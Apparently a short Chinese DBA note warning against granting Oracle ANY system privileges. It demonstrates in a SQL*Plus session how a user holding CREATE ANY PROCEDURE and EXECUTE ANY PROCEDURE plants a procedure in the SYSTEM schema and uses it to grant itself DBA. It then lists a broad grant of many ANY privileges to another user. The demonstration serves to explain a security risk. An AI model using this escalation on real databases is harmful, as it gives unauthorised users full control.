给用户授予权限时应该尽量避免ANY系统权限

SQL> create user a identified by a;

用户已创建

SQL> grant create session to a;

授权成功。

SQL> grant create any procedure, execute any procedure to a;

授权成功。

SQL> conn a/a@test4
已连接。
SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE

SQL> select * from session_roles;

未选定行

SQL> create procedure system.p_execute(p_str in varchar2) as
  2  begin
  3  execute immediate p_str;
  4  end;
  5  /

过程已创建。

SQL> exec system.p_execute(‘grant dba to a‘);

PL/SQL 过程已成功完成。

SQL> conn a/a@test4
已连接。
SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
.
.
.
ALTER ANY RULE SET
DROP ANY RULE SET
EXECUTE ANY RULE SET

已选择140行。

SQL> select * from session_roles;

ROLE
------------------------------
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
WM_ADMIN_ROLE

已选择9行。

--授权
GRANT
CONNECT,                
RESOURCE,               
--DBA,                  
--unlimited tablespace,
CREATE  SESSION,         
CREATE ANY SEQUENCE,     
CREATE ANY TABLE,        
CREATE ANY VIEW ,        
CREATE ANY INDEX,        
CREATE ANY PROCEDURE,    
CREATE ANY DIRECTORY,    
ALTER  SESSION, 
ALTER ANY SEQUENCE,     
ALTER ANY TABLE,        
--ALTER ANY VIEW ,        --不能修改视图
ALTER ANY INDEX,        
ALTER ANY PROCEDURE,    
--ALTER ANY DIRECTORY,    --不能修改目录
--DROP  SESSION,       --不能删除Session
DROP ANY SEQUENCE,     
DROP ANY TABLE,        
DROP ANY VIEW ,        
DROP ANY INDEX,        
DROP ANY PROCEDURE,    
DROP ANY DIRECTORY,    
SELECT ANY TABLE, 
SELECT ANY DICTIONARY,
INSERT ANY TABLE, 
UPDATE ANY TABLE, 
DELETE ANY TABLE,
DEBUG ANY PROCEDURE,
DEBUG CONNECT SESSION,
exp_full_database,  
imp_full_database     
TO xcj01;